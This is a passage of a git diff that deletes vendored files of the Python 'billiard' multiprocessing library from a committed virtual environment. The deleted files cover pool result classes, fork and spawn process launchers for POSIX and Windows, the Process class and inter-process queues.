next(job_counter) - self._cache = cache - self._callback = callback - self._accept_callback = accept_callback - self._error_callback = error_callback - self._timeout_callback = timeout_callback - self._timeout = timeout - self._soft_timeout = soft_timeout - self._lost_worker_timeout = lost_worker_timeout - self._on_timeout_set = on_timeout_set - self._on_timeout_cancel = on_timeout_cancel - self._callbacks_propagate = callbacks_propagate or () - self._send_ack = send_ack - - self._accepted = False - self._cancelled = False - self._worker_pid = None - self._time_accepted = None - self._terminated = None - cache[self._job] = self - - def __repr__(self): - return '<{name}: {id} ack:{ack} ready:{ready}>'.format( - name=self.__class__.__name__, - id=self._job, ack=self._accepted, ready=self.ready(), - ) - - def ready(self): - return self._event.is_set() - - def accepted(self): - return self._accepted - - def successful(self): - assert self.ready() - return self._success - - def _cancel(self): - """Only works if synack is used.""" - self._cancelled = True - - def discard(self): - self._cache.pop(self._job, None) - - def terminate(self, signum): - self._terminated = signum - - def _set_terminated(self, signum=None): - try: - raise Terminated(-(signum or 0)) - except Terminated: - self._set(None, (False, ExceptionInfo())) - - def worker_pids(self): - return [self._worker_pid] if self._worker_pid else [] - - def wait(self, timeout=None): - self._event.wait(timeout) - - def get(self, timeout=None): - self.wait(timeout) - if not self.ready(): - raise TimeoutError - if self._success: - return self._value - else: - raise self._value.exception - - def safe_apply_callback(self, fun, *args, **kwargs): - if fun: - try: - fun(*args, **kwargs) - except self._callbacks_propagate: - raise - except Exception as exc: - error('Pool callback raised exception: %r', exc, - exc_info=1) - - def handle_timeout(self, soft=False): - if self._timeout_callback is not None: - self.safe_apply_callback( - self._timeout_callback, soft=soft, - timeout=self._soft_timeout if soft else self._timeout, - ) - - def _set(self, i, obj): - with self._mutex: - if self._on_timeout_cancel: - self._on_timeout_cancel(self) - self._success, self._value = obj - self._event.set() - if self._accepted: - # if not accepted yet, then the set message - # was received before the ack, which means - # the ack will remove the entry. - self._cache.pop(self._job, None) - - # apply callbacks last - if self._callback and self._success: - self.safe_apply_callback( - self._callback, self._value) - if (self._value is not None and - self._error_callback and not self._success): - self.safe_apply_callback( - self._error_callback, self._value) - - def _ack(self, i, time_accepted, pid, synqW_fd): - with self._mutex: - if self._cancelled and self._send_ack: - self._accepted = True - if synqW_fd: - return self._send_ack(NACK, pid, self._job, synqW_fd) - return - self._accepted = True - self._time_accepted = time_accepted - self._worker_pid = pid - if self.ready(): - # ack received after set() - self._cache.pop(self._job, None) - if self._on_timeout_set: - self._on_timeout_set(self, self._soft_timeout, self._timeout) - response = ACK - if self._accept_callback: - try: - self._accept_callback(pid, time_accepted) - except self._propagate_errors: - response = NACK - raise - except Exception: - response = NACK - # ignore other errors - if self._send_ack and synqW_fd: - return self._send_ack(response, pid, self._job, synqW_fd) - -# -# Class whose instances are returned by `Pool.map_async()` -# - - -class MapResult(ApplyResult): - - def __init__(self, cache, chunksize, length, callback, error_callback): - ApplyResult.__init__( - self, cache, callback, error_callback=error_callback, - ) - self._success = True - self._length = length - self._value = [None] * length - self._accepted = [False] * length - self._worker_pid = [None] * length - self._time_accepted = [None] * length - self._chunksize = chunksize - if chunksize <= 0: - self._number_left = 0 - self._event.set() - del cache[self._job] - else: - self._number_left = length // chunksize + bool(length % chunksize) - - def _set(self, i, success_result): - success, result = success_result - if success: - self._value[i * self._chunksize:(i + 1) * self._chunksize] = result - self._number_left -= 1 - if self._number_left == 0: - if self._callback: - self._callback(self._value) - if self._accepted: - self._cache.pop(self._job, None) - self._event.set() - else: - self._success = False - self._value = result - if self._error_callback: - self._error_callback(self._value) - if self._accepted: - self._cache.pop(self._job, None) - self._event.set() - - def _ack(self, i, time_accepted, pid, *args): - start = i * self._chunksize - stop = min((i + 1) * self._chunksize, self._length) - for j in range(start, stop): - self._accepted[j] = True - self._worker_pid[j] = pid - self._time_accepted[j] = time_accepted - if self.ready(): - self._cache.pop(self._job, None) - - def accepted(self): - return all(self._accepted) - - def worker_pids(self): - return [pid for pid in self._worker_pid if pid] - -# -# Class whose instances are returned by `Pool.imap()` -# - - -class IMapIterator: - _worker_lost = None - - def __init__(self, cache, lost_worker_timeout=LOST_WORKER_TIMEOUT): - self._cond = threading.Condition(threading.Lock()) - self._job = next(job_counter) - self._cache = cache - self._items = deque() - self._index = 0 - self._length = None - self._ready = False - self._unsorted = {} - self._worker_pids = [] - self._lost_worker_timeout = lost_worker_timeout - cache[self._job] = self - - def __iter__(self): - return self - - def next(self, timeout=None): - with self._cond: - try: - item = self._items.popleft() - except IndexError: - if self._index == self._length: - self._ready = True - raise StopIteration - self._cond.wait(timeout) - try: - item = self._items.popleft() - except IndexError: - if self._index == self._length: - self._ready = True - raise StopIteration - raise TimeoutError - - success, value = item - if success: - return value - raise Exception(value) - - __next__ = next # XXX - - def _set(self, i, obj): - with self._cond: - if self._index == i: - self._items.append(obj) - self._index += 1 - while self._index in self._unsorted: - obj = self._unsorted.pop(self._index) - self._items.append(obj) - self._index += 1 - self._cond.notify() - else: - self._unsorted[i] = obj - - if self._index == self._length: - self._ready = True - del self._cache[self._job] - - def _set_length(self, length): - with self._cond: - self._length = length - if self._index == self._length: - self._ready = True - self._cond.notify() - del self._cache[self._job] - - def _ack(self, i, time_accepted, pid, *args): - self._worker_pids.append(pid) - - def ready(self): - return self._ready - - def worker_pids(self): - return self._worker_pids - -# -# Class whose instances are returned by `Pool.imap_unordered()` -# - - -class IMapUnorderedIterator(IMapIterator): - - def _set(self, i, obj): - with self._cond: - self._items.append(obj) - self._index += 1 - self._cond.notify() - if self._index == self._length: - self._ready = True - del self._cache[self._job] - -# -# -# - - -class ThreadPool(Pool): - - from .dummy import Process as DummyProcess - Process = DummyProcess - - def __init__(self, processes=None, initializer=None, initargs=()): - Pool.__init__(self, processes, initializer, initargs) - - def _setup_queues(self): - self._inqueue = Queue() - self._outqueue = Queue() - self._quick_put = self._inqueue.put - self._quick_get = self._outqueue.get - - def _poll_result(timeout): - try: - return True, self._quick_get(timeout=timeout) - except Empty: - return False, None - self._poll_result = _poll_result - - @staticmethod - def _help_stuff_finish(inqueue, task_handler, pool): - # put sentinels at head of inqueue to make workers finish - with inqueue.not_empty: - inqueue.queue.clear() - inqueue.queue.extend([None] * len(pool)) - inqueue.not_empty.notify_all() diff --git a/venv/Lib/site-packages/billiard/popen_fork.py b/venv/Lib/site-packages/billiard/popen_fork.py deleted file mode 100644 index caf14f8e8a3d87fa02241537377c84298ebbe0de..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/popen_fork.py +++ /dev/null @@ -1,89 +0,0 @@ -import os -import sys -import errno - -from .common import TERM_SIGNAL - -__all__ = ['Popen'] - -# -# Start child process using fork -# - - -class Popen: - method = 'fork' - sentinel = None - - def __init__(self, process_obj): - sys.stdout.flush() - sys.stderr.flush() - self.returncode = None - self._launch(process_obj) - - def duplicate_for_child(self, fd): - return fd - - def poll(self, flag=os.WNOHANG): - if self.returncode is None: - while True: - try: - pid, sts = os.waitpid(self.pid, flag) - except OSError as e: - if e.errno == errno.EINTR: - continue - # Child process not yet created. See #1731717 - # e.errno == errno.ECHILD == 10 - return None - else: - break - if pid == self.pid: - if os.WIFSIGNALED(sts): - self.returncode = -os.WTERMSIG(sts) - else: - assert os.WIFEXITED(sts) - self.returncode = os.WEXITSTATUS(sts) - return self.returncode - - def wait(self, timeout=None): - if self.returncode is None: - if timeout is not None: - from .connection import wait - if not wait([self.sentinel], timeout): - return None - # This shouldn't block if wait() returned successfully. - return self.poll(os.WNOHANG if timeout == 0.0 else 0) - return self.returncode - - def terminate(self): - if self.returncode is None: - try: - os.kill(self.pid, TERM_SIGNAL) - except OSError as exc: - if getattr(exc, 'errno', None) != errno.ESRCH: - if self.wait(timeout=0.1) is None: - raise - - def _launch(self, process_obj): - code = 1 - parent_r, child_w = os.pipe() - self.pid = os.fork() - if self.pid == 0: - try: - os.close(parent_r) - if 'random' in sys.modules: - import random - random.seed() - code = process_obj._bootstrap() - finally: - os._exit(code) - else: - os.close(child_w) - self.sentinel = parent_r - - def close(self): - if self.sentinel is not None: - try: - os.close(self.sentinel) - finally: - self.sentinel = None diff --git a/venv/Lib/site-packages/billiard/popen_forkserver.py b/venv/Lib/site-packages/billiard/popen_forkserver.py deleted file mode 100644 index dfff2540419dbb5fb255590910ddbc5457823d46..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/popen_forkserver.py +++ /dev/null @@ -1,68 +0,0 @@ -import io -import os - -from . import reduction -from . import context -from . import forkserver -from . import popen_fork -from . import spawn - -__all__ = ['Popen'] - -# -# Wrapper for an fd used while launching a process -# - - -class _DupFd: - - def __init__(self, ind): - self.ind = ind - - def detach(self): - return forkserver.get_inherited_fds()[self.ind] - -# -# Start child process using a server process -# - - -class Popen(popen_fork.Popen): - method = 'forkserver' - DupFd = _DupFd - - def __init__(self, process_obj): - self._fds = [] - super().__init__(process_obj) - - def duplicate_for_child(self, fd): - self._fds.append(fd) - return len(self._fds) - 1 - - def _launch(self, process_obj): - prep_data = spawn.get_preparation_data(process_obj._name) - buf = io.BytesIO() - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, buf) - reduction.dump(process_obj, buf) - finally: - context.set_spawning_popen(None) - - self.sentinel, w = forkserver.connect_to_new_process(self._fds) - with io.open(w, 'wb', closefd=True) as f: - f.write(buf.getbuffer()) - self.pid = forkserver.read_unsigned(self.sentinel) - - def poll(self, flag=os.WNOHANG): - if self.returncode is None: - from .connection import wait - timeout = 0 if flag == os.WNOHANG else None - if not wait([self.sentinel], timeout): - return None - try: - self.returncode = forkserver.read_unsigned(self.sentinel) - except (OSError, EOFError): - # The process ended abnormally perhaps because of a signal - self.returncode = 255 - return self.returncode diff --git a/venv/Lib/site-packages/billiard/popen_spawn_posix.py b/venv/Lib/site-packages/billiard/popen_spawn_posix.py deleted file mode 100644 index 5772a7555bb3d50925adfe53b8cb9bbf1ee6774c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/popen_spawn_posix.py +++ /dev/null @@ -1,74 +0,0 @@ -import io -import os - -from . import context -from . import popen_fork -from . import reduction -from . import spawn - -from .compat import spawnv_passfds - -__all__ = ['Popen'] - - -# -# Wrapper for an fd used while launching a process -# - -class _DupFd: - - def __init__(self, fd): - self.fd = fd - - def detach(self): - return self.fd - -# -# Start child process using a fresh interpreter -# - - -class Popen(popen_fork.Popen): - method = 'spawn' - DupFd = _DupFd - - def __init__(self, process_obj): - self._fds = [] - super().__init__(process_obj) - - def duplicate_for_child(self, fd): - self._fds.append(fd) - return fd - - def _launch(self, process_obj): - os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" - spawn._Django_old_layout_hack__save() - from . import semaphore_tracker - tracker_fd = semaphore_tracker.getfd() - self._fds.append(tracker_fd) - prep_data = spawn.get_preparation_data(process_obj._name) - fp = io.BytesIO() - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, fp) - reduction.dump(process_obj, fp) - finally: - context.set_spawning_popen(None) - - parent_r = child_w = child_r = parent_w = None - try: - parent_r, child_w = os.pipe() - child_r, parent_w = os.pipe() - cmd = spawn.get_command_line(tracker_fd=tracker_fd, - pipe_handle=child_r) - self._fds.extend([child_r, child_w]) - self.pid = spawnv_passfds( - spawn.get_executable(), cmd, self._fds, - ) - self.sentinel = parent_r - with io.open(parent_w, 'wb', closefd=False) as f: - f.write(fp.getvalue()) - finally: - for fd in (child_r, child_w, parent_w): - if fd is not None: - os.close(fd) diff --git a/venv/Lib/site-packages/billiard/popen_spawn_win32.py b/venv/Lib/site-packages/billiard/popen_spawn_win32.py deleted file mode 100644 index 23254923e02d62a4cb1dc5e93c4da1cd2adba2ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/popen_spawn_win32.py +++ /dev/null @@ -1,121 +0,0 @@ -import io -import os -import msvcrt -import signal -import sys - -from . import context -from . import spawn -from . import reduction - -from .compat import _winapi - -__all__ = ['Popen'] - -# -# -# - -TERMINATE = 0x10000 -WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) -WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") - -# -# We define a Popen class similar to the one from subprocess, but -# whose constructor takes a process object as its argument. -# - - -if sys.platform == 'win32': - try: - from _winapi import CreateProcess, GetExitCodeProcess - close_thread_handle = _winapi.CloseHandle - except ImportError: # Py2.7 - from _subprocess import CreateProcess, GetExitCodeProcess - - def close_thread_handle(handle): - handle.Close() - - -class Popen: - ''' - Start a subprocess to run the code of a process object - ''' - method = 'spawn' - sentinel = None - - def __init__(self, process_obj): - os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" - spawn._Django_old_layout_hack__save() - prep_data = spawn.get_preparation_data(process_obj._name) - - # read end of pipe will be "stolen" by the child process - # -- see spawn_main() in spawn.py. - rhandle, whandle = _winapi.CreatePipe(None, 0) - wfd = msvcrt.open_osfhandle(whandle, 0) - cmd = spawn.get_command_line(parent_pid=os.getpid(), - pipe_handle=rhandle) - cmd = ' '.join('"%s"' % x for x in cmd) - - with io.open(wfd, 'wb', closefd=True) as to_child: - # start process - try: - hp, ht, pid, tid = CreateProcess( - spawn.get_executable(), cmd, - None, None, False, 0, None, None, None) - close_thread_handle(ht) - except: - _winapi.CloseHandle(rhandle) - raise - - # set attributes of self - self.pid = pid - self.returncode = None - self._handle = hp - self.sentinel = int(hp) - - # send information to child - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, to_child) - reduction.dump(process_obj, to_child) - finally: - context.set_spawning_popen(None) - - def close(self): - if self.sentinel is not None: - try: - _winapi.CloseHandle(self.sentinel) - finally: - self.sentinel = None - - def duplicate_for_child(self, handle): - assert self is context.get_spawning_popen() - return reduction.duplicate(handle, self.sentinel) - - def wait(self, timeout=None): - if self.returncode is None: - if timeout is None: - msecs = _winapi.INFINITE - else: - msecs = max(0, int(timeout * 1000 + 0.5)) - - res = _winapi.WaitForSingleObject(int(self._handle), msecs) - if res == _winapi.WAIT_OBJECT_0: - code = GetExitCodeProcess(self._handle) - if code == TERMINATE: - code = -signal.SIGTERM - self.returncode = code - - return self.returncode - - def poll(self): - return self.wait(timeout=0) - - def terminate(self): - if self.returncode is None: - try: - _winapi.TerminateProcess(int(self._handle), TERMINATE) - except OSError: - if self.wait(timeout=1.0) is None: - raise diff --git a/venv/Lib/site-packages/billiard/process.py b/venv/Lib/site-packages/billiard/process.py deleted file mode 100644 index 50823439ed3d265c23f113a8289cd678150a6f91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/process.py +++ /dev/null @@ -1,400 +0,0 @@ -# -# Module providing the `Process` class which emulates `threading.Thread` -# -# multiprocessing/process.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# -# -# Imports -# - -import os -import sys -import signal -import itertools -import logging -import threading -from _weakrefset import WeakSet - -from multiprocessing import process as _mproc - -try: - ORIGINAL_DIR = os.path.abspath(os.getcwd()) -except OSError: - ORIGINAL_DIR = None - -__all__ = ['BaseProcess', 'Process', 'current_process', 'active_children'] - -# -# Public functions -# - - -def current_process(): - ''' - Return process object representing the current process - ''' - return _current_process - - -def _set_current_process(process): - global _current_process - _current_process = _mproc._current_process = process - - -def _cleanup(): - # check for processes which have finished - for p in list(_children): - if p._popen.poll() is not None: - _children.discard(p) - - -def _maybe_flush(f): - try: - f.flush() - except (AttributeError, EnvironmentError, NotImplementedError): - pass - - -def active_children(_cleanup=_cleanup): - ''' - Return list of process objects corresponding to live child processes - ''' - try: - _cleanup() - except TypeError: - # called after gc collect so _cleanup does not exist anymore - return [] - return list(_children) - - -class BaseProcess: - ''' - Process objects represent activity that is run in a separate process - - The class is analogous to `threading.Thread` - ''' - - def _Popen(self): - raise NotImplementedError() - - def __init__(self, group=None, target=None, name=None, - args=(), kwargs={}, daemon=None, **_kw): - assert group is None, 'group argument must be None for now' - count = next(_process_counter) - self._identity = _current_process._identity + (count, ) - self._config = _current_process._config.copy() - self._parent_pid = os.getpid() - self._popen = None - self._target = target - self._args = tuple(args) - self._kwargs = dict(kwargs) - self._name = ( - name or type(self).__name__ + '-' + - ':'.join(str(i) for i in self._identity) - ) - if daemon is not None: - self.daemon = daemon - if _dangling is not None: - _dangling.add(self) - - self._controlled_termination = False - - def run(self): - ''' - Method to be run in sub-process; can be overridden in sub-class - ''' - if self._target: - self._target(*self._args, **self._kwargs) - - def start(self): - ''' - Start child process - ''' - assert self._popen is None, 'cannot start a process twice' - assert self._parent_pid == os.getpid(), \ - 'can only start a process object created by current process' - _cleanup() - self._popen = self._Popen(self) - self._sentinel = self._popen.sentinel - _children.add(self) - - def close(self): - if self._popen is not None: - self._popen.close() - - def terminate(self): - ''' - Terminate process; sends SIGTERM signal or uses TerminateProcess() - ''' - self._popen.terminate() - - def terminate_controlled(self): - self._controlled_termination = True - self.terminate() - - def join(self, timeout=None): - ''' - Wait until child process terminates - ''' - assert self._parent_pid == os.getpid(), 'can only join a child process' - assert self._popen is not None, 'can only join a started process' - res = self._popen.wait(timeout) - if res is not None: - _children.discard(self) - self.close() - - def is_alive(self): - ''' - Return whether process is alive - ''' - if self is _current_process: - return True - assert self._parent_pid == os.getpid(), 'can only test a child process' - if self._popen is None: - return False - self._popen.poll() - return self._popen.returncode is None - - def _is_alive(self): - if self._popen is None: - return False - return self._popen.poll() is None - - @property - def name(self): - return self._name - - @name.setter - def name(self, name): # noqa - assert isinstance(name, str), 'name must be a string' - self._name = name - - @property - def daemon(self): - ''' - Return whether process is a daemon - ''' - return self._config.get('daemon', False) - - @daemon.setter # noqa - def daemon(self, daemonic): - ''' - Set whether process is a daemon - ''' - assert self._popen is None, 'process has already started' - self._config['daemon'] = daemonic - - @property - def authkey(self): - return self._config['authkey'] - - @authkey.setter # noqa - def authkey(self, authkey): - ''' - Set authorization key of process - ''' - self._config['authkey'] = AuthenticationString(authkey) - - @property - def exitcode(self): - ''' - Return exit code of process or `None` if it has yet to stop - ''' - if self._popen is None: - return self._popen - return self._popen.poll() - - @property - def ident(self): - ''' - Return identifier (PID) of process or `None` if it has yet to start - ''' - if self is _current_process: - return os.getpid() - else: - return self._popen and self._popen.pid - - pid = ident - - @property - def sentinel(self): - ''' - Return a file descriptor (Unix) or handle (Windows) suitable for - waiting for process termination. - ''' - try: - return self._sentinel - except AttributeError: - raise ValueError("process not started") - - @property - def _counter(self): - # compat for 2.7 - return _process_counter - - @property - def _children(self): - # compat for 2.7 - return _children - - @property - def _authkey(self): - # compat for 2.7 - return self.authkey - - @property - def _daemonic(self): - # compat for 2.7 - return self.daemon - - @property - def _tempdir(self): - # compat for 2.7 - return self._config.get('tempdir') - - def __repr__(self): - if self is _current_process: - status = 'started' - elif self._parent_pid != os.getpid(): - status = 'unknown' - elif self._popen is None: - status = 'initial' - else: - if self._popen.poll() is not None: - status = self.exitcode - else: - status = 'started' - - if type(status) is int: - if status == 0: - status = 'stopped' - else: - status = 'stopped[%s]' % _exitcode_to_name.get(status, status) - - return '<%s(%s, %s%s)>' % (type(self).__name__, self._name, - status, self.daemon and ' daemon' or '') - - ## - - def _bootstrap(self): - from . import util, context - global _current_process, _process_counter, _children - - try: - if self._start_method is not None: - context._force_start_method(self._start_method) - _process_counter = itertools.count(1) - _children = set() - if sys.stdin is not None: - try: - sys.stdin.close() - sys.stdin = open(os.devnull) - except (EnvironmentError, OSError, ValueError): - pass - old_process = _current_process - _set_current_process(self) - - # Re-init logging system. - # Workaround for https://bugs.python.org/issue6721/#msg140215 - # Python logging module uses RLock() objects which are broken - # after fork. This can result in a deadlock (Celery Issue #496). - loggerDict = logging.Logger.manager.loggerDict - logger_names = list(loggerDict.keys()) - logger_names.append(None) # for root logger - for name in logger_names: - if not name or not isinstance(loggerDict[name], - logging.PlaceHolder): - for handler in logging.getLogger(name).handlers: - handler.createLock() - logging._lock = threading.RLock() - - try: - util._finalizer_registry.clear() - util._run_after_forkers() - finally: - # delay finalization of the old process object until after - # _run_after_forkers() is executed - del old_process - util.info('child process %s calling self.run()', self.pid) - try: - self.run() - exitcode = 0 - finally: - util._exit_function() - except SystemExit as exc: - if not exc.args: - exitcode = 1 - elif isinstance(exc.args[0], int): - exitcode = exc.args[0] - else: - sys.stderr.write(str(exc.args[0]) + '\n') - _maybe_flush(sys.stderr) - exitcode = 0 if isinstance(exc.args[0], str) else 1 - except: - exitcode = 1 - if not util.error('Process %s', self.name, exc_info=True): - import traceback - sys.stderr.write('Process %s:\n' % self.name) - traceback.print_exc() - finally: - util.info('process %s exiting with exitcode %d', - self.pid, exitcode) - _maybe_flush(sys.stdout) - _maybe_flush(sys.stderr) - - return exitcode - -# -# We subclass bytes to avoid accidental transmission of auth keys over network -# - - -class AuthenticationString(bytes): - - def __reduce__(self): - from .context import get_spawning_popen - - if get_spawning_popen() is None: - raise TypeError( - 'Pickling an AuthenticationString object is ' - 'disallowed for security reasons') - return AuthenticationString, (bytes(self),) - -# -# Create object representing the main process -# - - -class _MainProcess(BaseProcess): - - def __init__(self): - self._identity = () - self._name = 'MainProcess' - self._parent_pid = None - self._popen = None - self._config = {'authkey': AuthenticationString(os.urandom(32)), - 'semprefix': '/mp'} - -_current_process = _MainProcess() -_process_counter = itertools.count(1) -_children = set() -del _MainProcess - - -Process = BaseProcess - -# -# Give names to some return codes -# - -_exitcode_to_name = {} - -for name, signum in signal.__dict__.items(): - if name[:3] == 'SIG' and '_' not in name: - _exitcode_to_name[-signum] = name - -# For debug and leak testing -_dangling = WeakSet() diff --git a/venv/Lib/site-packages/billiard/queues.py b/venv/Lib/site-packages/billiard/queues.py deleted file mode 100644 index bd16f8c3700a78f5d302ef7dbe71bac42b3da8af..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/queues.py +++ /dev/null @@ -1,403 +0,0 @@ -# -# Module implementing queues -# -# multiprocessing/queues.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import sys -import os -import threading -import collections -import weakref -import errno - -from . import connection -from . import context - -from .compat import get_errno -from time import monotonic -from queue import Empty, Full -from .util import ( - debug, error, info, Finalize, register_after_fork, is_exiting, -) -from .reduction import ForkingPickler - -__all__ = ['Queue', 'SimpleQueue', 'JoinableQueue'] - - -class Queue: - ''' - Queue type using a pipe, buffer and thread - ''' - def __init__(self, maxsize=0, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing 1 required keyword-only argument: ctx') - if maxsize <= 0: - # Can raise ImportError (see issues #3770 and #23400) - from .synchronize import SEM_VALUE_MAX as maxsize # noqa - self._maxsize = maxsize - self._reader, self._writer = connection.Pipe(duplex=False) - self._rlock = ctx.Lock() - self._opid = os.getpid() - if sys.platform == 'win32': - self._wlock = None - else: - self._wlock = ctx.Lock() - self._sem = ctx.BoundedSemaphore(maxsize) - # For use by concurrent.futures - self._ignore_epipe = False - - self._after_fork() - - if sys.platform != 'win32': - register_after_fork(self, Queue._after_fork) - - def __getstate__(self): - context.assert_spawning(self) - return (self._ignore_epipe, self._maxsize, self._reader, self._writer, - self._rlock, self._wlock, self._sem, self._opid) - - def __setstate__(self, state): - (self._ignore_epipe, self._maxsize, self._reader, self._writer, - self._rlock, self._wlock, self._sem, self._opid) = state - self._after_fork() - - def _after_fork(self): - debug('Queue._after_fork()') - self._notempty = threading.Condition(threading.Lock()) - self._buffer = collections.deque() - self._thread = None - self._jointhread = None - self._joincancelled = False - self._closed = False - self._close = None - self._send_bytes = self._writer.send - self._recv = self._reader.recv - self._send_bytes = self._writer.send_bytes - self._recv_bytes = self._reader.recv_bytes - self._poll = self._reader.poll - - def put(self, obj, block=True, timeout=None): - assert not self._closed - if not self._sem.acquire(block, timeout): - raise Full - - with self._notempty: - if self._thread is None: - self._start_thread() - self._buffer.append(obj) - self._notempty.notify() - - def get(self, block=True, timeout=None): - if block and timeout is None: - with self._rlock: - res = self._recv_bytes() - self._sem.release() - - else: - if block: - deadline = monotonic() + timeout - if not self._rlock.acquire(block, timeout): - raise Empty - try: - if block: - timeout = deadline - monotonic() - if timeout < 0 or not self._poll(timeout): - raise Empty - elif not self._poll(): - raise Empty - res = self._recv_bytes() - self._sem.release() - finally: - self._rlock.release() - # unserialize the data after having released the lock - return ForkingPickler.loads(res) - - def qsize(self): - # Raises NotImplementedError on macOS because - # of broken sem_getvalue() - return self._maxsize - self._sem._semlock._get_value() - - def empty(self): - return not self._poll() - - def full(self): - return self._sem._semlock._is_zero() - - def get_nowait(self): - return self.get(False) - - def put_nowait(self, obj): - return self.put(obj, False) - - def close(self): - self._closed = True - try: - self._reader.close() - finally: - close = self._close - if close: - self._close = None - close() - - def join_thread(self): - debug('Queue.join_thread()') - assert self._closed - if self._jointhread: - self._jointhread() - - def cancel_join_thread(self): - debug('Queue.cancel_join_thread()') - self._joincancelled = True - try: - self._jointhread.cancel() - except AttributeError: - pass - - def _start_thread(self): - debug('Queue._start_thread()') - - # Start thread which transfers data from buffer to pipe - self._buffer.clear() - self._thread = threading.Thread( - target=Queue._feed, - args=(self._buffer, self._notempty, self._send_bytes, - self._wlock, self._writer.close, self._ignore_epipe), - name='QueueFeederThread' - ) - self._thread.daemon = True - - debug('doing self._thread.start()') - self._thread.start() - debug('... done self._thread.start()') - - # On process exit we will wait for data to be flushed to pipe. - # - # However, if this process created the queue then all - # processes which use the queue will be descendants of this - # process. Therefore waiting for the queue to be flushed - # is pointless once all the child processes have been joined. - created_by_this_process = (self._opid == os.getpid()) - if not self._joincancelled and not created_by_this_process: - self._jointhread = Finalize( - self._thread, Queue._finalize_join, - [weakref.ref(self._thread)], - exitpriority=-5 - ) - - # Send sentinel to the thread queue object when garbage collected - self._close = Finalize( - self, Queue._finalize_close, - [self._buffer, self._notempty], - exitpriority=10 - ) - - @staticmethod - def _finalize_join(twr): - debug('joining queue thread') - thread = twr() - if thread is not None: - thread.join() - debug('... queue thread joined') - else: - debug('... queue thread already dead') - - @staticmethod - def _finalize_close(buffer, notempty): - debug('telling queue thread to quit') - with notempty: - buffer.append(_sentinel) - notempty.notify() - - @staticmethod - def _feed(buffer, notempty, send_bytes, writelock, close, ignore_epipe): - debug('starting thread to feed data to pipe') - - nacquire = notempty.acquire - nrelease = notempty.release - nwait = notempty.wait - bpopleft = buffer.popleft - sentinel = _sentinel - if sys.platform != 'win32': - wacquire = writelock.acquire - wrelease = writelock.release - else: - wacquire = None - - try: - while 1: - nacquire() - try: - if not buffer: - nwait() - finally: - nrelease() - try: - while 1: - obj = bpopleft() - if obj is sentinel: - debug('feeder thread got sentinel -- exiting') - close() - return - - # serialize the data before acquiring the lock - obj = ForkingPickler.dumps(obj) - if wacquire is None: - send_bytes(obj) - else: - wacquire() - try: - send_bytes(obj) - finally: - wrelease() - except IndexError: - pass - except Exception as exc: - if ignore_epipe and get_errno(exc) == errno.EPIPE: - return - # Since this runs in a daemon thread the resources it uses - # may be become unusable while the process is cleaning up. - # We ignore errors which happen after the process has - # started to cleanup. - try: - if is_exiting(): - info('error in queue thread: %r', exc, exc_info=True) - else: - if not error('error in queue thread: %r', exc, - exc_info=True): - import traceback - traceback.print_exc() - except Exception: - pass - -_sentinel = object() - - -class JoinableQueue(Queue): - ''' - A queue type which also supports join() and task_done() methods - - Note that if you do not call task_done() for each finished task then - eventually the counter's semaphore may overflow causing Bad Things - to happen. - ''' - - def __init__(self, maxsize=0, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing 1 required keyword argument: ctx') - Queue.__init__(self, maxsize, ctx=ctx) - self._unfinished_tasks = ctx.Semaphore(0) - self._cond = ctx.Condition() - - def __getstate__(self): - return Queue.__getstate__(self) + (self._cond, self._unfinished_tasks) - - def __setstate__(self, state): - Queue.__setstate__(self, state[:-2]) - self._cond, self._unfinished_tasks = state[-2:] - - def put(self, obj, block=True, timeout=None): - assert not self._closed - if not self._sem.acquire(block, timeout): - raise Full - - with self._notempty: - with self._cond: - if self._thread is None: - self._start_thread() - self._buffer.append(obj) - self._unfinished_tasks.release() - self._notempty.notify() - - def task_done(self): - with self._cond: - if not self._unfinished_tasks.acquire(False): - raise ValueError('task_done() called too many times') - if self._unfinished_tasks._semlock._is_zero(): - self._cond.notify_all() - - def join(self): - with self._cond: - if not self._unfinished_tasks._semlock._is_zero(): - self._cond.wait() - - -class _SimpleQueue: - ''' - Simplified Queue type -- really just a locked pipe - ''' - - def __init__(self, rnonblock=False, wnonblock=False, ctx=None): - self._reader, self._writer = connection.Pipe( - duplex=False, rnonblock=rnonblock, wnonblock=wnonblock, - ) - self._poll = self._reader.poll - self._rlock = self._wlock = None - - def empty(self): - return not self._poll() - - def __getstate__(self): - context.assert_spawning(self) - return (self._reader, self._writer, self._rlock, self._wlock) - - def __setstate__(self, state): - (self._reader, self._writer, self._rlock, self._wlock) = state - - def get_payload(self): - return self._reader.recv_bytes() - - def send_payload(self, value): - self._writer.send_bytes(value) - - def get(self): - # unserialize the data after having released the lock - return ForkingPickler.loads(self.get_payload()) - - def put(self, obj): - # serialize the data before acquiring the lock - self.send_payload(ForkingPickler.dumps(obj)) - - def close(self): - if self._reader is not None: - try: - self._reader.close() - finally: - self._reader = None - - if self._writer is not None: - try: - self._writer.close() - finally: - self._writer = None - - -class SimpleQueue(_SimpleQueue): - - def __init__(self, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing required keyword argument: ctx') - self._reader, self._writer = connection.Pipe(duplex=False) - self._rlock = ctx.Lock() - self._wlock = ctx.Lock() if sys.platform != 'win32' else None - - def get_payload(self): - with self._rlock: - return self._reader.recv_bytes() - - def send_payload(self, value): - if self._wlock is None: - # writes to a message oriented win32 pipe are atomic - self._writer.send_bytes(value) - else: - with self._wlock: - self._writer.send_bytes(value) diff --git a/venv/Lib/site-packages/billiard/reduction.py 